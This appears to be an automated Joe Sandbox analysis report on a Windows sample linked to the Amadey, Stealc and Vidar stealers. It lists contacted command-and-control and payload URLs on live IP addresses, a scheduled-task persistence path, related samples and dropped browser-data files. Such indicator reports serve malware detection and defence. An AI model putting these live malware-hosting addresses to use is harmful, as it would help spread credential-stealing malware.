http://85.28.47.30/920475a59bac849d.php3	a16b294260.exe, 0000000C.00000002.1965705738.0000000000634000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://85.28.47.30/920475a59bac849d.phpF	a16b294260.exe, 0000000C.00000002.1965705738.000000000066D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	file.exe, 00000000.00000002.1840591206.0000000001778000.00000004.00000020.00020000.00000000.sdmp, EBAFHCBF.0.dr	false	URL Reputation: safe	unknown
http://77.91.77.82/Hun4Ko/index.php59B	explorti.exe, 00000008.00000002.4108139417.0000000000CCA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17chost.exe	file.exe, 00000000.00000002.1836482618.0000000000468000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016.exe	file.exe, 00000000.00000002.1836482618.0000000000468000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
http://85.28.47.30/920475a59bac849d.phpQ	file.exe, 00000000.00000002.1840591206.000000000170E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.google.com/accounts?p=new-si-ui	chromecache_195.15.dr	false	URL Reputation: safe	unknown
http://www.sqlite.org/copyright.html.	file.exe, 00000000.00000002.1857410900.000000001CDDA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1866749533.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://apis.google.com/js/rpc:shindig_random.js?onload=credentialservice.postMessage	chromecache_195.15.dr	false	URL Reputation: safe	unknown
https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg	file.exe, 00000000.00000002.1840591206.0000000001872000.00000004.00000020.00020000.00000000.sdmp, AEBKFIJEGCAAFHJKFCFC.0.dr	false	Avira URL Cloud: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	EBAFHCBF.0.dr	false	Avira URL Cloud: safe	unknown
https://policies.google.com/privacy/google-partners	chromecache_195.15.dr	false	URL Reputation: safe	unknown
http://77.91.77.81/cost/go.exe00	file.exe, 00000000.00000002.1836482618.00000000004C6000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: phishing	unknown
https://www.youtube.com/account$	29c55c1284.exe, 0000000D.00000003.2238768524.0000000003CFE000.00000004.00000020.00020000.00000000.sdmp, 29c55c1284.exe, 0000000D.00000003.2245981355.0000000003CFE000.00000004.00000020.00020000.00000000.sdmp, 29c55c1284.exe, 0000000D.00000003.2243989254.0000000003CFE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://upx.sf.net	Amcache.hve.4.dr	false	URL Reputation: safe	unknown
https://policies.google.com/privacy/additional	chromecache_195.15.dr	false	URL Reputation: safe	unknown
http://85.28.47.30/69934896f997d5bb/sqlite3.dlla	file.exe, 00000000.00000002.1840591206.000000000175D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://uberproxy-pen-redirect.corp.google.com/uberproxy/pen?url=	chromecache_202.15.dr	false	URL Reputation: safe	unknown
https://ac.ecosia.org/autocomplete?q=	EBAFHCBF.0.dr	false	URL Reputation: safe	unknown
https://policies.google.com/privacy/additional/embedded?gl=kr	chromecache_195.15.dr	false	URL Reputation: safe	unknown
https://policies.google.com/terms/location/embedded	chromecache_195.15.dr	false	URL Reputation: safe	unknown
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	file.exe, 00000000.00000002.1840591206.0000000001872000.00000004.00000020.00020000.00000000.sdmp, AEBKFIJEGCAAFHJKFCFC.0.dr	false	URL Reputation: safe	unknown
http://pki-ocsp.symauth.com0	file.exe, random[1].exe.8.dr, a16b294260.exe.8.dr	false	Avira URL Cloud: safe	unknown
http://85.28.47.30	file.exe, 00000000.00000002.1840591206.000000000170E000.00000004.00000020.00020000.00000000.sdmp, a16b294260.exe, 0000000C.00000002.1965705738.000000000061E000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://support.google.com/accounts?hl=	chromecache_195.15.dr	false	URL Reputation: safe	unknown
https://support.mozilla.org	JKJKJJDBKEGIECAAECFHCFBGIJ.0.dr	false	URL Reputation: safe	unknown
http://77.91.77.81/mine/amadka.exe.phpefoxx	file.exe, 00000000.00000002.1836482618.00000000004C6000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: phishing	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	EBAFHCBF.0.dr	false	URL Reputation: safe	unknown
https://www.youtube.com/accountj=&	29c55c1284.exe, 0000000D.00000003.2244202209.0000000003D56000.00000004.00000020.00020000.00000000.sdmp, 29c55c1284.exe, 0000000D.00000003.2244718987.0000000003D5C000.00000004.00000020.00020000.00000000.sdmp, 29c55c1284.exe, 0000000D.00000002.2248350185.0000000003D65000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
142.250.185.78	www3.l.google.com	United States	15169	GOOGLEUS	false
142.250.185.206	play.google.com	United States	15169	GOOGLEUS	false
85.28.47.30	unknown	Russian Federation	31643	GES-ASRU	true
142.250.186.174	unknown	United States	15169	GOOGLEUS	false
77.91.77.82	unknown	Russian Federation	42861	FOTONTELECOM-TRANSIT-ASFOTONTELECOMISPRU	true
239.255.255.250	unknown	Reserved	unknown	unknown	false
77.91.77.81	unknown	Russian Federation	42861	FOTONTELECOM-TRANSIT-ASFOTONTELECOMISPRU	true
142.250.186.164	www.google.com	United States	15169	GOOGLEUS	false
172.217.16.142	youtube-ui.l.google.com	United States	15169	GOOGLEUS	false

Private

IP
192.168.2.4

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1467822
Start date and time:	2024-07-04 20:33:07 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 12m 29s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	22
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@58/61@14/10
EGA Information:	Successful, ratio: 60%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 199.232.210.172, 192.229.221.95, 142.250.185.99, 142.250.185.142, 64.233.166.84, 34.104.35.123, 216.58.212.163, 142.250.185.138, 172.217.16.202, 142.250.186.42, 142.250.185.170, 142.250.181.234, 216.58.212.170, 142.250.185.202, 216.58.206.42, 142.250.74.202, 142.250.186.106, 172.217.16.138, 142.250.184.202, 142.250.186.170, 172.217.18.10, 142.250.186.138, 142.250.185.234, 142.250.185.106, 142.250.186.74, 142.250.185.74, 216.58.206.74, 172.217.18.106, 142.250.181.227, 108.177.15.84, 142.250.186.46, 74.125.133.84
Excluded domains from analysis (whitelisted): clients1.google.com, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, slscr.update.microsoft.com, fonts.gstatic.com, ctldl.windowsupdate.com, clientservices.googleapis.com, fe3cr.delivery.mp.microsoft.com, clients2.google.com, ocsp.digicert.com, edgedl.me.gvt1.com, update.googleapis.com, clients.l.google.com, www.gstatic.com, optimizationguide-pa.googleapis.com
Execution Graph export aborted for target KECBKKEBKE.exe, PID 4048 because it is empty
Execution Graph export aborted for target explorti.exe, PID 7476 because there are no executed function
HTTP sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
14:34:20	API Interceptor	10874595x Sleep call for process: explorti.exe modified
19:34:17	Task Scheduler	Run new task: explorti path: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
239.255.255.250	file.exe	Get hash	malicious	Unknown	Browse
	https://chorbie.com/services/	Get hash	malicious	Unknown	Browse
	http://79.141.36.131	Get hash	malicious	Unknown	Browse
	https://share.mindmanager.com/#publish/mnPTcUqLfLnU6HRHMb6xC3qXYGZYU6tmBtOy3sS6	Get hash	malicious	HTMLPhisher	Browse
	hANEXOPDF.PDF40 234057.msi	Get hash	malicious	Unknown	Browse
	Invoice - 06736833774062515586349558087774116555577037575401 - Daiichi-sankyo.pdf	Get hash	malicious	HTMLPhisher	Browse
	https://gateway.lighthouse.storage/ipfs/bafkreidrnkion27ep4wvaru45atnhtlbackpdwtf5j73djqjbyjdzvzmdm#mez.jiwaji@nic.bc.ca	Get hash	malicious	Unknown	Browse
	http://nassascha.synology.me/Photo.scr	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Unknown	Browse
	http://circulaires.info	Get hash	malicious	Unknown	Browse
77.91.77.81	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.81/well/random.exe
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.81/well/random.exe
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.81/stealc/random.exe
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.81/stealc/random.exe
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.81/stealc/random.exe
	d8gZVaN0ms.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Mars Stealer, RedLine, Stealc, Vidar	Browse	77.91.77.81/Kiru9gu/index.php
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.81/stealc/random.exe
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.81/stealc/random.exe
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.81/stealc/random.exe
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.81/stealc/random.exe
77.91.77.82	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.82/Hun4Ko/index.php
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.82/Hun4Ko/index.php
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.82/Hun4Ko/index.php
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.82/Hun4Ko/index.php
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.82/Hun4Ko/index.php
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.82/Hun4Ko/index.php
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.82/Hun4Ko/index.php
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.82/Hun4Ko/index.php
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.82/Hun4Ko/index.php
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.82/Hun4Ko/index.php

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
FOTONTELECOM-TRANSIT-ASFOTONTELECOMISPRU	file.exe	Get hash	malicious	Clipboard Hijacker, PureLog Stealer, RisePro Stealer, zgRAT	Browse	77.91.77.180
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.81
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.81
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.82
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.82
	file.exe	Get hash	malicious	Clipboard Hijacker, PureLog Stealer, RisePro Stealer	Browse	77.91.77.180
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.82
	d8gZVaN0ms.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Mars Stealer, RedLine, Stealc, Vidar	Browse	77.91.77.81
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.82
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.82
FOTONTELECOM-TRANSIT-ASFOTONTELECOMISPRU	file.exe	Get hash	malicious	Clipboard Hijacker, PureLog Stealer, RisePro Stealer, zgRAT	Browse	77.91.77.180
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.81
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.81
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.82
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.82
	file.exe	Get hash	malicious	Clipboard Hijacker, PureLog Stealer, RisePro Stealer	Browse	77.91.77.180
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.82
	d8gZVaN0ms.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Mars Stealer, RedLine, Stealc, Vidar	Browse	77.91.77.81
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.82
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.82
GES-ASRU	file.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse	85.28.47.4
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	85.28.47.4
	file.exe	Get hash	malicious	XenoRAT	Browse	85.28.47.8
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	85.28.47.4
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	85.28.47.4
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	85.28.47.4
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	85.28.47.4
	d8gZVaN0ms.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Mars Stealer, RedLine, Stealc, Vidar	Browse	85.28.47.7
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	85.28.47.4
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	85.28.47.4

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	file.exe	Get hash	malicious	Unknown	Browse	13.85.23.86 184.28.90.27
	https://chorbie.com/services/	Get hash	malicious	Unknown	Browse	13.85.23.86 184.28.90.27
	http://79.141.36.131	Get hash	malicious	Unknown	Browse	13.85.23.86 184.28.90.27
	hANEXOPDF.PDF40 234057.msi	Get hash	malicious	Unknown	Browse	13.85.23.86 184.28.90.27
	Invoice - 06736833774062515586349558087774116555577037575401 - Daiichi-sankyo.pdf	Get hash	malicious	HTMLPhisher	Browse	13.85.23.86 184.28.90.27
	Zz3h8cOX1E.exe	Get hash	malicious	Quasar	Browse	13.85.23.86 184.28.90.27
	Zz3h8cOX1E.exe	Get hash	malicious	Quasar	Browse	13.85.23.86 184.28.90.27
	file.exe	Get hash	malicious	Unknown	Browse	13.85.23.86 184.28.90.27
	http://circulaires.info	Get hash	malicious	Unknown	Browse	13.85.23.86 184.28.90.27
	https://iriss.online/i/ontransfer_pathways/login?p=login	Get hash	malicious	Unknown	Browse	13.85.23.86 184.28.90.27

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse
C:\ProgramData\mozglue.dll	file.exe	Get hash	malicious	Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\AEBKFIJEGCAAFHJKFCFC

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1809), with CRLF line terminators
Category:	dropped
Size (bytes):	9571
Entropy (8bit):	5.536643647658967
Encrypted:	false
SSDEEP:	192:qnaRt+YbBp6ihj4qyaaX86KKkfGNBw8DJSl:yegqumcwQ0
MD5:	5D8E5D85E880FB2D153275FCBE9DA6E5
SHA1:	72332A8A92B77A8B1E3AA00893D73FC2704B0D13
SHA-256:	50490DC0D0A953FA7D5E06105FE9676CDB9B49C399688068541B19DD911B90F9
SHA-512:	57441B4CCBA58F557E08AAA0918D1F9AC36D0AF6F6EB3D3C561DA7953ED156E89857FFB829305F65D220AE1075BC825F131D732B589B5844C82CA90B53AAF4EE
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "57f16a19-e119-4073-bf01-28f88011f783");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696333830);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696333856);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\EBAFHCBF

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\EBAFHCBFHDHCAAKFHDGDBKFCGC

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FCAKFCGC

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GDBFHDHJKKJDHJJJJKEG

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GIDAECGDAFBAAAAAECGI

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JKJKJJDBKEGIECAAECFHCFBGIJ

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.037963276276857943
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWZWdgokBQNba9D3DO/JxW/QHI:58r54w0VW3xWZWdOBQFal3dQ
MD5:	C0FDF21AE11A6D1FA1201D502614B622
SHA1:	11724034A1CC915B061316A96E79E9DA6A00ADE8
SHA-256:	FD4EB46C81D27A9B3669C0D249DF5CE2B49E5F37B42F917CA38AB8831121ADAC
SHA-512:	A6147C196B033725018C7F28C1E75E20C2113A0C6D8172F5EABCB8FF334EA6CE10B758FFD1D22D50B4DB5A0A21BCC15294AC44E94D973F7A3EB9F8558F31769B
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KKJJEBFCGDAKFIEBAAFBFCGCBF

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
